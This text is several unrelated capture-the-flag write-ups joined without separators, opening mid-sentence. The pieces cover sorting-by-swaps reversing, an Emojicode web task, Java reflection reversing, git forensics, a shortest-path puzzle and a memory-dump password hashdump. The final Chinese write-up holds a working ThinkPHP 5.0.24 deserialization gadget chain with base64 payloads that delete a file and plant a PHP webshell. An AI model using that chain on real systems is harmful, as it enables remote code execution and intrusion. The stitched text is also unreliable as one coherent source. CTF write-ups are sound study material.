decompiled code that the value of `i` entered by the user must be `<=8`, otherwise it will just break out of the `while(true)` loop. Now, we have to device a strategy to sort these numbers by swapping indices `i` and `i+1` in `nums`. So, first we try to bring `0x2` or `2` to it's real place by passing `2` followed by `1`. That swaps the indices `2 with 3` and then `1 with 2`, bringing 2 back to it's original place. We can perform these swaps in `gdb` and keep checking the outputs of the swaps as we move on. Here's a list of swaps that could sort the array. ```21276543487658768789``` At the end of every iteration, the `check` function runs to check if the list is sorted. Once it's sorted, we can break out of the loop, since `pass` is now equal to `true`. The list ends with a `9` so that we can break out of the `while` loop. Once it breaks out, it checks if the value of `pass` is `true`, which it is, and then it runs the `print_flag` function. Passing the numbers in the above list fetches us the flag. ```bash$ nc 2020.redpwnc.tf 31039I hate my data structures class! Why can't I just sort by hand?21276543487658768789Well done!flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}``` The flag is: ```flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}```
When browsing into:https://emojiwat.ctf.bsidestlv.com/ We are presented with an online emultaer for Emojicode programming language(https://www.emojicode.org/)![](https://i.imgur.com/XS04w1t.pnghttp://) Now as the challenge description states we need to get the web page at http://emojiwat-flag/.Now by looking at the documentation for emojicode, we can see this example:![](https://i.imgur.com/TSu59AH.png) But when trying to request http://emojiwat-flag/, we get an unhandled exception error:![](https://i.imgur.com/IZdWMdf.png) Looking at the docs we can see this section: ![](https://i.imgur.com/O1qY8SL.png) So all we need to do add beer and it works(bsidestlv, cookie was also added):![](https://i.imgur.com/qRm5H61.png) flag:```BSidesTLV2020{(^_^)YOU[o_o]DID(^.^)IT($.$)}```
# Object Oriented Programming writeup by [haskal](https://awoo.systems) for [BLร…HAJ](https://blahaj.awoo.systems) **Pwn/Rev****413 points****88 solves** >There's this small up and coming language called java I want to tell you about provided file: <src.zip> ## writeup we are given a zip file with java source. there's a Main.java and a bunch of 2-character sourcefiles, with classes that contain a bunch of 2-character methods that return 2-character strings.examining Main, we see it uses reflection to call into these classes and methods to map the inputstring to the output. ```java String userInput = getUserInputMethodFromScannerAndInvokeAndReturnOutput(scanner); if (userInput.length() != SIXTEEN) System.exit(0); if (executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut(userInput).equals(scanner.getClass().getPackageName().replace(".", ""))) { invokePrintLineMethodForOutputPrintStream(outputPrintStream, printLineMethod, "Nice. Flag: rgbCTF{" + userInput + "}"); } else { invokePrintLineMethodForOutputPrintStream(outputPrintStream, printLineMethod, "Try again."); }``` this code shows us the user input must be 16 chars exactly, and then a transformation function iscalled (with the parameter `javautil`, the package of Scanner without periods). ```java public static String executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut(String stringToExecuteAforementionedCodeOn) throws Exception { String encryptedString = reallyBasicQuoteUnquoteEncryptionFunctionThatWillOnlyTakeTimeToFigureOutIfYouKeepReadingTheseRidiculouslyLongMethodNames(stringToExecuteAforementionedCodeOn); String returnValueOfThisFunction = new String(); String[] chunksOfEncryptedStringOfLengthFour = splitStringIntoChunksOfLength(encryptedString, FOUR); for (String chunkOfEncryptedStringOfLengthFour : chunksOfEncryptedStringOfLengthFour) { String[] chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = splitStringIntoChunksOfLength(chunkOfEncryptedStringOfLengthFour, TWO); String firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[0]; String secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[1]; Class classAndExtraCharactersSoItsNotAKeyword = Class.forName(firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo); Object object = classAndExtraCharactersSoItsNotAKeyword.getConstructors()[ZERO].newInstance(); for (int loopArbitraryCounterIterator = 0; loopArbitraryCounterIterator < THREE; loopArbitraryCounterIterator++) { Method method = classAndExtraCharactersSoItsNotAKeyword.getMethod(secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo); secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = (String)method.invoke(object); } returnValueOfThisFunction = new String(returnValueOfThisFunction + secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo); } return returnValueOfThisFunction; }``` looking at the transformation function, we find it calls a method that XORs all the characters inthe input with a key, which turns out to be `2` (found by modifying the code to print it out). then,it splits the input into chunks of 4, uses the first 2 chars as a class name, and iterates 3 timesto transform the second 2 chars by calling the method in the class. the result is concatenatedtogether. this can be solved with a simple script to parse the java files to map thetransformations, then reversing the transformation by doing the opposite of this operation. first, parse the java. it's very regular so this isn't too hard ```pythonmapping = {} for file in pathlib.Path("src").iterdir(): if "Main" in file.name: continue name = file.name.replace(".java", "") with file.open("r") as f: data = f.read() thisfile = {} mname = None for line in data.split("\n"): if mname is None: if "public String" in line: mname = line.strip().split(" ")[2].replace("()", "") else: val = line.strip().split(" ")[1].replace('"', "").replace(";", "") thisfile[mname] = val mname = None mapping[name] = thisfile ``` next, go through backwards to find which class has 3 methods that can be chained to produce therequired output. (implemented this with horrible CTF spaghetti code, please don't tell my fundiesprofessor :) ```pythonstart = "javautil" def rfind(what): for file,data in mapping.items(): for k,v in data.items(): if v == what and k in data.values(): for k2, v2 in data.items(): if v2 == k and k2 in data.values(): for k3, v3 in data.items(): if v3 == k2: return file + k3 data = rfind("ja") + rfind("va") + rfind("ut") + rfind("il")``` finally compute XOR for the flag ```pythondata = bytearray(data.encode())for i in range(len(data)): data[i] ^= 2 print(data)``` see original writeup for full source
# [Penguins](https://ctf.rgbsec.xyz/challenge?id=14) ### Challenge Text ```*waddle waddle* ~BobbaTea#6235, Klanec#3100``` ### Challenge Work You are given a `.zip` file to unpack. Inside of it you see a few files and a `.git` directory. We can check which branches exist with `git branch`. After some looking in the git logs we see the name of a branch we do not see returned by the `git branch` command: ```git [feature1] % cat .git/logs/head[...]27440c52e8a7a3d2e50f8fcdee0a88b0f937598d b474ae165218fec38ac9fb8d64f452c1270e68ea John Doe <[emailย protected]> 1593465694 +0000 checkout: moving from master to b474ae1b474ae165218fec38ac9fb8d64f452c1270e68ea b474ae165218fec38ac9fb8d64f452c1270e68ea John Doe <[emailย protected]> 1593465718 +0000 checkout: moving from b474ae165218fec38ac9fb8d64f452c1270e68ea to fascinatingb474ae165218fec38ac9fb8d64f452c1270e68ea d14fcbfd3c916a512ad1b956cd19fb7be16c20c6 John Doe <[emailย protected]> 1593465745 +0000 commit: an irrelevant filed14fcbfd3c916a512ad1b956cd19fb7be16c20c6 cfd97cd36fe6c5e450d5057bf25aa1d7ddeca9ef John Doe <[emailย protected]> 1593465781 +0000 commit: add content to irrelevant filecfd97cd36fe6c5e450d5057bf25aa1d7ddeca9ef 5dcac0eddbcb4bffdec552a1172f84762a0b4174 John Doe <[emailย protected]> 1593465822 +0000 commit: another perhaps relevant file5dcac0eddbcb4bffdec552a1172f84762a0b4174 fb70ca39a7437eaba2850703018e1cf9073789e6 John Doe <[emailย protected]> 1593465988 +0000 commit: probably not relevantfb70ca39a7437eaba2850703018e1cf9073789e6 57adae71c223a465b6db3a710aab825883286214 John Doe <[emailย protected]> 1593466025 +0000 commit: relevant file[ommitted]57adae71c223a465b6db3a710aab825883286214 800bcb90123137a6ee981c93c140bd04c75f507f John Doe <[emailย protected]> 1593466646 +0000 commit: some things are not needed[...]``` Well, just because we cannot `checkout` the branch does not mean we cannot see what was in it: ```logs [feature1] % git show 800bcb90123137a6ee981c93c140bd04c75f507f``` ```diffcommit 800bcb90123137a6ee981c93c140bd04c75f507fAuthor: John Doe <[emailย protected]>Date: Mon Jun 29 21:37:26 2020 +0000 some things are not needed diff --git a/perhaps_relevant b/perhaps_relevantdeleted file mode 100644index 495f86b..0000000--- a/perhaps_relevant+++ /dev/null@@ -1,2 +0,0 @@-nope this aint relevant either chief-diff --git a/perhaps_relevant_v2 b/perhaps_relevant_v2deleted file mode 100644index ad12bc5..0000000--- a/perhaps_relevant_v2+++ /dev/null@@ -1 +0,0 @@-YXMgeW9kYSBvbmNlIHRvbGQgbWUgInJld2FyZCB5b3UgaSBtdXN0IgphbmQgdGhlbiBoZSBnYXZlIG1lIHRoaXMgLS0tLQpyZ2JjdGZ7ZDRuZ2wxbmdfYzBtbTE3c180cjNfdU5mMHI3dW40NzN9diff --git a/relevant b/relevantdeleted file mode 100644index 222e0a5..0000000--- a/relevant+++ /dev/null@@ -1,3 +0,0 @@-haha``` Thats interesting... ```git [feature1] % echo "YXMgeW9kYSBvbmNlIHRvbGQgbWUgInJld2FyZCB5b3UgaSBtdXN0IgphbmQgdGhlbiBoZSBnYXZlIG1lIHRoaXMgLS0tLQpyZ2JjdGZ7ZDRuZ2wxbmdfYzBtbTE3c180cjNfdU5mMHI3dW40NzN9" | base64 -das yoda once told me "reward you i must"and then he gave me this ----rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}%```
# Picking Up The Pieces writeup by [haskal](https://awoo.systems) for [BLร…HAJ](https://blahaj.awoo.systems) **Misc****403 points****93 solves** >Can you help me? I had a flag that I bought at the store, but on the way home, I dropped parts of>it on some roads! Now some roads have strings of text, and I can't tell which are part of my flag.>I'm very smart and efficient (but somehow not smart or efficient enough to keep my flag), so I know>that I took the fastest way from the store back to my house.>>I have a map with a list of all 200000 roads between intersections, and what strings are on them.>The format of the map is <intersection 1> <intersection 2> <distance> <string on the road>. My>house is at intersection 1 and the store is at intersection 200000. provided file: [map.txt](https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2020/rgbctf/picking-pieces/map.txt) ## writeup consider the intersections and roads to be a (weighted) graph and use dijkstra's algorithm to findthe shortest path. here is a solution in racket (because racket is good and you should use it) (ctftime, being bad and awful doesn't highlight this correctly. see original writeup link)```scheme#lang racket (require graph) ;; this enables looking up the string labels when we're done(define label-lookup (make-hash)) ;; str -> (list num str str)(define (parse-line line) (match-define (list from to distance label) (string-split line " ")) (hash-set! label-lookup (list from to) label) (hash-set! label-lookup (list to from) label) (list (string->number distance) from to)) (displayln "reading file")(define input (map parse-line (file->lines "map.txt"))) (displayln "creating graph")(define g (weighted-graph/undirected input)) (displayln "running coding and algorithms")(define-values [dist pred] (dijkstra g "1"))(displayln "done") ;; prints the path in reverse order then the labels in forward order(define (walk x) (displayln x) (define the-pred (hash-ref pred x #f)) (unless (false? the-pred) (walk the-pred) (displayln (hash-ref label-lookup (list the-pred x))))) (walk "200000")```
# Name a More Iconic BandVisit [this](https://github.com/spitfirerxf/rgbCTF2020/blob/master/NameaMoreIconicBand) >I'll wait.The flag for this challenge is all the passwords in alphabetical order, each separated by a single white-space as an MD5 hash in lower casemd5(passwordA passwordB passwordC ...)Example: if the passwords were "dog" and "cat", the flag would bergbCTF{md5("cat dog")}rgbCTF{b89526a82f7ec08c202c2345fbd6aef3} And a huge file of 1GB accompanying the challenge. First doing `file` command, I thought I was doing reversing challenge (because of the compressed file of ~200MB) with weird twist, but it turned out to be a memory forensics challenge. Know it from experience, that no challenge makers are able to reduce the file size of memory forensics to be under 1GB hahahaha Anyway, to finish this challenge, we use `volatility`, you can find it [here](https://github.com/volatilityfoundation/volatility). So the thing we're looking is simple enough: find all the passwords. First, I needed to do `imageinfo` to see the type of OS it's on.```python vol.py -f data imageinfo```Several minutes later, we got the OS, it's in Windows7 SP1 x64. We will use that profile to start digging the passwords. Volatility has an easy way to parse password hash from the file. It's a one line command:```python vol.py -f data --profile=Win7SP1x64 hashdump```It's a bit odd to think that Windows always kept password hashes in memory all the time. The result is out.```Volatility Foundation Volatility Framework 2.6.1Administrator:500:aad3b435b51404eeaad3b435b51404ee:756c599880f6a618881a49a9dc733627:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::pablo honey:1001:aad3b435b51404eeaad3b435b51404ee:7aaedbb86a165e8711cb46ee7ee2d475:::the bends:1002:aad3b435b51404eeaad3b435b51404ee:dcbd05aa2cdd6d00b9afd4db537c4aa3:::ok computer:1003:aad3b435b51404eeaad3b435b51404ee:74dea9ee338c5e0750e000d6e7df08e1:::kid a:1004:aad3b435b51404eeaad3b435b51404ee:c9c55dd07a88b589774879255b982602:::amnesiac:1005:aad3b435b51404eeaad3b435b51404ee:7b05eefac901e1c852baa61f86c4376f:::hail to the thief:1006:aad3b435b51404eeaad3b435b51404ee:8eb2b699eeff088135befbde0880cfd4:::in rainbows:1007:aad3b435b51404eeaad3b435b51404ee:419c1a5a5de0b529406fb04ad5e81d39:::the king of limbs:1008:aad3b435b51404eeaad3b435b51404ee:a82da1c9a00f83a2ca303dc32daf1198:::a moon shaped pool:1009:aad3b435b51404eeaad3b435b51404ee:4353a584830ede0e7d9e405ae0b11ea4:::```With a little bit of editing, I ran all the hashes through CrackStation.![hashes result](https://github.com/spitfirerxf/rgbCTF2020/raw/master/NameaMoreIconicBand/Pic1.png) Sort it all alphabetically into one line:```anyone can play guitar burn the witch idioteque karma police lotus flower my iron lung pyramid song supercollider there, there weird fishes/arpeggi```Ran it through MD5 on CyberChef, and we got the hashflag. The flag is `rgbCTF{cf271c074989f6073af976de00098fc4}`
่ฟ™้ข˜ๅ‡บๆณ•ๆœฌ่บซๅฑžไบŽๆฏ”่พƒๅๅฎžๆˆ˜็š„้ข˜็›ฎ๏ผŒ้ข˜็›ฎ็ŽฏๅขƒไนŸ้ƒฝๆ˜ฏ็”ฑๅฎžๆˆ˜ๆธ—้€ไธญๆ”น็ผ–่€Œๆฅ๏ผŒ็ปผๅˆไบ†ๅ‰ๆœŸ็š„ไฟกๆฏๆœ้›†๏ผŒไธญๆœŸ็š„ไปฃ็ ๅฎก่ฎก๏ผŒไปฅๅŠๅŽๆœŸ็š„ๅฎžๆˆ˜ๆธ—้€๏ผŒๅคง้‡็š„่ทณ่ฝฌๆจกๆ‹Ÿไบ†ๅฎžๆˆ˜ไธญๅคง้‡่ต„ไบง็š„็ปŸ่ฎก๏ผŒไปฃ็ ๅฎก่ฎก็ปผๅˆไบ†PythonไธŽ็ปๅ…ธ็š„Thinkphp5๏ผŒๅฎžๆˆ˜ๆธ—้€็š„็ป†่Š‚ๅ†ณๅฎšไบ†ๆœ€ๅŽGetshell็š„้—ฎ้ข˜ใ€‚ๆ นๆฎ่ต›้ข˜ๅ้ฆˆๆƒ…ๅ†ตๆฅ็œ‹๏ผŒๅคง้ƒจๅˆ†้€‰ๆ‰‹้‡‡็”จไบ†ๆกไปถ็ซžไบ‰็š„่งฃๆณ•๏ผŒ่ฟ™ไธชๅฑžไบŽ้ข„ๆœŸ่งฃ๏ผŒไธ่ฟ‡ๆฒกๆƒณๅˆฐๅคงๅฎถ้ƒฝๅœจๆกไปถ็ซžไบ‰๏ผŒๆœฌ้ข˜ไธบไบ†้™ไฝŽ้šพๅบฆๆฒกๆœ‰้™ๅˆถ้ข‘็އ๏ผŒๅฎžๆˆ˜็Žฏๅขƒๆญฃๅธธๆฅ่ฏดๆ˜ฏ่ฆ็ป“ๅˆ้ข‘็އ้™ๅˆถ็š„๏ผŒๅฆๅค–Python่„šๆœฌๆ˜ฏๆœฌไบบๆœ‹ๅ‹ๅนด่ฝปๆ—ถๅ€™ๅ†™็š„ไธๆˆ็†Ÿไปฃ็ ๏ผŒๅ†—ไฝ™ไปฃ็ ๏ผˆ็ป“ๅˆๅฎž้™…๏ผ‰ๅฎก่ฎก่ตทๆฅ็š„็กฎๆŒบๆถๅฟƒ็š„๏ผŒ็ป™ๅคงไผ™้“ไธชๆญ‰ใ€‚#### ไฟกๆฏๆœ้›†่ฎฟ้—ฎ้“พๆŽฅ/public๏ผŒๅฏไปฅๅˆคๆ–ญ่ฟ™ๅฑžไบŽtp5็š„็ณป็ปŸ็ป“ๆž„็œ‹ๅˆฐ่ฟ™ไธช็•Œ้ข๏ผŒๅ‘็Žฐ่ฏฅ็•Œ้ข่‡ชๅŠจ่ฎฐๅฝ•ไบ†่ฎฟ้—ฎ่€…็š„ip๏ผŒๅพ—ๅˆฐไฟกๆฏindex.php๏ผŒ็„ถๅŽๅ‘็Žฐๅพˆๅฟซ่‡ชๅŠจ่ทณ่ฝฌๅˆฐไบ†localhost็š„public/test/๏ผŒๅนถไธ”ๅ‘Š่ฏ‰ไบ†ๆˆ‘ไปฌlog.txt็š„ๅญ˜ๅœจๅฐ่ฏ•็‚นๅ‡ปๅ„ๅŠŸ่ƒฝๆŒ‰้’ฎ๏ผŒfuzz่ฟ‡ๅŽๅฏไปฅๅ‘็Žฐ่ฏฅ็•Œ้ขๅฑžไบŽ็บฏhtml็•Œ้ข๏ผŒๆฒกๆœ‰ๅŠŸ่ƒฝ๏ผŒๆŸฅ็œ‹ๆบไปฃ็ ๅœจๆบไปฃ็ ไธญๅ‘็Žฐๆ็คบ๏ผŒ่ฎฟ้—ฎ/public/nationalsb่ทฏ็”ฑๅ‘็Žฐไธ€ไธช็™ป้™†ๆก†๏ผŒ้šไพฟ่พ“ๅ…ฅ็”จๆˆทๅๅฏ†็ ๏ผŒๅ‘็Žฐๆ— ๅ‘ๅŒ…๏ผŒไพ็„ถๆ˜ฏ็บฏhtml็•Œ้ข๏ผŒๅœจๆบไปฃ็ ไธญๆŸฅ็œ‹ๅœจJsไปฃ็ ไธญๅ‘็Žฐไบ†ๆณจ้‡Šๆณ„้œฒ็š„็”จๆˆทๅๅฏ†็ ไฟกๆฏAdmin1964752 DsaPPPP!@#amspe1221 login.php401่ฎค่ฏ็ˆ†็ ด๏ผŒ้šพ็‚นๅœจไบŽไป–ๆฒกๆœ‰ๆ‹’็ป่ฎค่ฏ๏ผŒไปปไฝ•่ฎค่ฏ้ƒฝไผš็กฎ่ฎค๏ผŒๆฏๆฌกๅˆ ้™ค่ฎค่ฏๅคด็ˆ†็ ดๅฏ†็ ใ€‚ๅฆ‚ๆžœ่พ“ๅ…ฅ้”™่ฏฏ็š„่ฎค่ฏ๏ผŒไผšๅ‘็Žฐๅชๆœ‰ๆ™ฎ้€š็š„ไฟกๆฏ๏ผŒๆฒกๆœ‰ไปปไฝ•ๅฏ็”จ็š„็‚นใ€‚ๆญฃ็กฎๅŽ่Žทๅพ—ไธ€ไธช$file็š„ๆ–‡ไปถ่ฏปๅ–ๅฐ่ฏ•่ฏปๅ–flag๏ผŒๅ‘็Žฐๆ— ๅ›žๆ˜พ๏ผŒๅพˆๅฅ‡ๆ€ช๏ผŒ็Œœๆต‹ๆ˜ฏbanไบ†flagๅ…ณ้”ฎๅญ—่ฏปๅ–ๆบไปฃ็ ๏ผŒๅˆ†ๅˆซ่ฏปๅ–login.php๏ผŒไธŠไธ€ๅฑ‚็›ฎๅฝ•็š„index.php๏ผŒ่ฟ˜ๆœ‰ไธŠไธ€ๅฑ‚็š„thinkๆ–‡ไปถไบ†่งฃๅˆฐๆ˜ฏtp5.0.24ๅญ˜ๅœจๅทฒ็Ÿฅ็š„ๅๅบๅˆ—ๅŒ–rceๆผๆดžๅœจๆ–‡ไปถ่ฏปๅ–ไธญ่ฏปๅ–application/index/controller/Index.phpๅ‘็Žฐๅๅบๅˆ—ๅŒ–ๅ…ฅๅฃ็‚นthinkphp5.0.24ๅๅบๅˆ—ๅŒ–rceๆผๆดžๅ‚่€ƒ๏ผšhttps://www.anquanke.com/post/id/196364้€š่ฟ‡่ฏฅ็‚น่งฆๅ‘ๅŽ๏ผŒๅฐ†ไผšๅ†™้ฉฌ่ฟ›ๅ…ฅweb็›ฎๅฝ•๏ผŒไฝ†ๆ˜ฏๆฏๆฌกๅ†™้ฉฌ้ƒฝไผš่ขซๅˆ ้™ค๏ผŒ็Œœๆต‹ๆœ‰้˜ฒๅพกๆ‰‹ๆฎต๏ผŒ่ฟ™้‡Œๆ˜ฏๆœฌ้ข˜็š„็ฒพ้ซ“็‚น๏ผŒๅœจๅฎžๆˆ˜ไธญ๏ผŒ็ปๅธธๆœ‰ๅ„็ง็ฌฌไธ‰ๆ–น้˜ฒๆŠคๆ‰‹ๆฎต๏ผŒๆœฌ้ข˜็›ฎ็š„้˜ฒๅพกๆ‰‹ๆฎตไธบไธ€ไธชPython็š„ๆ–‡ไปถๅฎˆๆŠค๏ผŒ้œ€่ฆ้€š่ฟ‡้€ป่พ‘ๆผๆดžๅฏผ่‡ด่ฏฅ็จ‹ๅบๅดฉๆบƒ๏ผŒ็„ถๅŽๆ‰่ƒฝๅ†™้ฉฌใ€‚ๅœจ/public/log.txtไธญๆ็คบๆ–‡ไปถๅญ˜ๅœจprotect.py้€š่ฟ‡ไน‹ๅ‰็š„ๆ–‡ไปถ่ฏปๅ–่Žทๅพ—protect.py็š„ๆบไปฃ็ ![](https://i.loli.net/2020/07/08/CuD41SRIUxKHJGN.png)#### ไปฃ็ ๅฎก่ฎก่ฟ™้ƒจๅˆ†ๅ‚่€ƒไบ†oswordๅธˆๅ‚…็š„ไปฃ็ ๅฎก่ฎก่ฟ‡็จ‹๏ผŒๆ„Ÿๅ…ด่ถฃ็š„ๅฏไปฅๅญฆไน ไธ€ๆณข็„ถๅŽๅˆ†ๆžprotect.pyๆ–‡ไปถ๏ผŒ่ฏฅๆ–‡ไปถๆบ็ ่พƒ้•ฟ๏ผŒไปฃ็ ้€ป่พ‘ๆททไนฑ๏ผŒ้œ€่ฆ่พƒ้•ฟๆ—ถ้—ด็š„ๅฎก่ฎก่ฟ‡็จ‹ใ€‚![](https://i.loli.net/2020/07/08/v9nZDfLqPaxJe28.png)ๆถ‰ๅŠๅ‡ฝๆ•ฐ![](https://i.loli.net/2020/07/08/7N1RYVZJwadfjDE.png)็›ฎๅฝ•็ผบๅคฑไฟฎๅค![](https://i.loli.net/2020/07/08/e1HiEbGoP37fUV2.png)ๆ–‡ไปถๅขžๆ”นไฟฎๅค![](https://i.loli.net/2020/07/08/B4Y3PCMUqcub9ZW.png)ๆ–‡ไปถๅˆ ้™คไฟฎๅค![](https://i.loli.net/2020/07/08/8ycWrxzYtQOjCS6.png)ๅ…ณ้”ฎ็‚นๅฆ‚ไธŠ๏ผŒ่ฏฅ้ƒจๅˆ†ไปฃ็ ๅญ˜ๅœจไธ€ไธชๆ–‡ไปถๆตๆผๆดž๏ผŒ้ซ˜้ข‘็š„่ฎฟ้—ฎๆ—ฅๅฟ—ๆ–‡ไปถ๏ผŒๅฏผ่‡ดๆ–‡ไปถๆต้ซ˜้ข‘ๅผ€ๅฏๅ…ณ้—ญ๏ผŒๅŒๆ—ถ่ฏฅ้ƒจๅˆ†ไปฃ็ ๆฒกๆœ‰็”จtry exceptไฟๆŠค๏ผŒ่ฟ™ๅฏผ่‡ดๆ–‡ไปถ่ขซๅˆ ้™คๅŽ๏ผŒ่ฏฅ็จ‹ๅบไผšๆŠ›ๅ‡บไธ€ไธชๆŠฅ้”™ๅฏผ่‡ดๅดฉๆบƒใ€‚่ฟ™้‡Œไฝฟ็”จไธ€ไธชtp5.0.24็š„ไปปๆ„ๆ–‡ไปถๅˆ ้™คpocๅˆ ้™คๆ–‡ไปถๅฏผ่‡ด้˜ฒๅพก่„šๆœฌๅดฉๆบƒๆ‰€ๆœ‰poc่ดดๅœจๆœ€ๅŽ#### ่Žทๅ–flag้œ€่ฆๆ–‡ไปถ่ฏปๅ–ไธญ่Žทๅ–็š„index.phpๆบ็ ไบ†่งฃๅˆฐๅๅบๅˆ—ๅŒ–็‚นไธบ![](https://i.loli.net/2020/07/08/XwGclMVETi83d51.png)ๆญคๅค„้œ€่ฆ็”จไธ€ไธชbase64ๅŠ ๅฏ†่ฟ‡็š„poc่ฟ›่กŒๅๅบๅˆ—ๅŒ–่งฆๅ‘index/helloๅ‡ฝๆ•ฐ่งฆๅ‘ๆ–นๅผไธบhttp://127.0.0.1/public/index.php/index/index/hello?s3cr3tk3yๅณๅฏ่งฆๅ‘ๅŒๆ—ถ่ฆๆณจๆ„็š„็‚นไธบ๏ผŒ่ฏฅๅๅบๅˆ—ๅŒ–poc้œ€่ฆ็”จๅˆฐphp็š„็Ÿญๆ ‡็ญพ๏ผŒๅฆ‚ๆžœ่ฏฅๅค„ๆœชๅผ€ๅฏ๏ผŒ่ฏฅpocๅ†™็š„ๆœจ้ฉฌๅฐ†ๆ— ๆณ•่ฟ่กŒPocๅฆ‚ไธ‹:delete_file.php:```phpfiles=['router.php'];}}echo base64_encode(serialize(new Windows()));```่ฟ™้‡Œๆณจๆ„๏ผŒ้˜ฒๅพก่„šๆœฌไธๆฃ€ๆต‹ไปปไฝ•txtๆ–‡ไปถ๏ผŒๅˆ ้™คไธ€ไธชๅ…ถไป–ๅŽ็ผ€ๅๆ–‡ไปถๅณๅฏใ€‚POC๏ผšTzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEwOiJyb3V0ZXIucGhwIjt9fQ==poc.php```phpfiles=[$a]; } }}namespace think{ abstract class Model{}}namespace think\model{ use think\Model; class Pivot extends Model { public $parent; protected $append = []; protected $data = []; protected $error; function __construct($parent,$error){ $this->parent=$parent; $this->append = ["getError"]; $this->data =['123']; $this->error=(new model\relation\HasOne($error)); } } }namespace think\model\relation{ use think\model\Relation; class HasOne extends OneToOne{ }}namespace think\mongo{ class Connection{ }}namespace think\model\relation{ abstract class OneToOne{ protected $selfRelation; protected $query; protected $bindAttr = []; function __construct($query){ $this->selfRelation=0; $this->query=$query; $this->bindAttr=['123']; } } }namespace think\console{ class Output{ private $handle = null; protected $styles = [ 'getAttr' ]; function __construct($handle){ $this->handle=$handle; } }}namespace think\session\driver{ class Memcached{ protected $handler = null; function __construct($handle){ $this->handler=$handle; } } }namespace think\cache\driver{ class File{ protected $options = [ 'expire' => 3600, 'cache_subdir' => false,#encode 'prefix' => '',#convert.quoted-printable-decode|convert.quoted-printable-decode|convert.base64-decode/ 'path' => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=?<hp pn$ma=e_$EG[Tf"li"e;]f$li=e_$EG[Td"wo"n;]ifelp_tuc_noettn(sn$ma,eifelg_tec_noettn(sf$li)e;)ihhgilhg_tifel_(F_LI_E)_?;a>a/../', 'data_compress' => false, ]; protected $tag='123'; }}namespace think\db{ class Query{ protected $model; function __construct($model){ $this->model=$model; } }}namespace{ $File = (new think\cache\driver\File()); $Memcached = new think\session\driver\Memcached($File); $query = new think\db\Query((new think\console\Output($Memcached))); $windows=new think\process\pipes\Windows((new think\model\Pivot((new think\console\Output($Memcached)),$query))); echo base64_encode((serialize($windows)));}?>```POCTzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjM2MDA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTgyOiJwaHA6Ly9maWx0ZXIvL2NvbnZlcnQuaWNvbnYuVUNTLTJMRS5VQ1MtMkJFL3Jlc291cmNlPT88aHAgcG4kbWE9ZV8kRUdbVGYibGkiZTtdZiRsaT1lXyRFR1tUZCJ3byJuO11pZmVscF90dWNfbm9ldHRuKHNuJG1hLGVpZmVsZ190ZWNfbm9ldHRuKHNmJGxpKWU7KWloaGdpbGhnX3RpZmVsXyhGX0xJX0UpXz87YT5hLy4uLyI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czozOiIxMjMiO319czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntpOjA7czo4OiJnZXRFcnJvciI7fXM6NzoiACoAZGF0YSI7YToxOntpOjA7czozOiIxMjMiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7cjo1O3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fXM6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6IjEyMyI7fX19fX0ๅ…ˆๅˆ ้™คไปปๆ„้žtxtๆ–‡ไปถๅŽ็›ดๆŽฅไธŠไผ php้ฉฌๅณๅฏ่Žทๅพ—flag#### 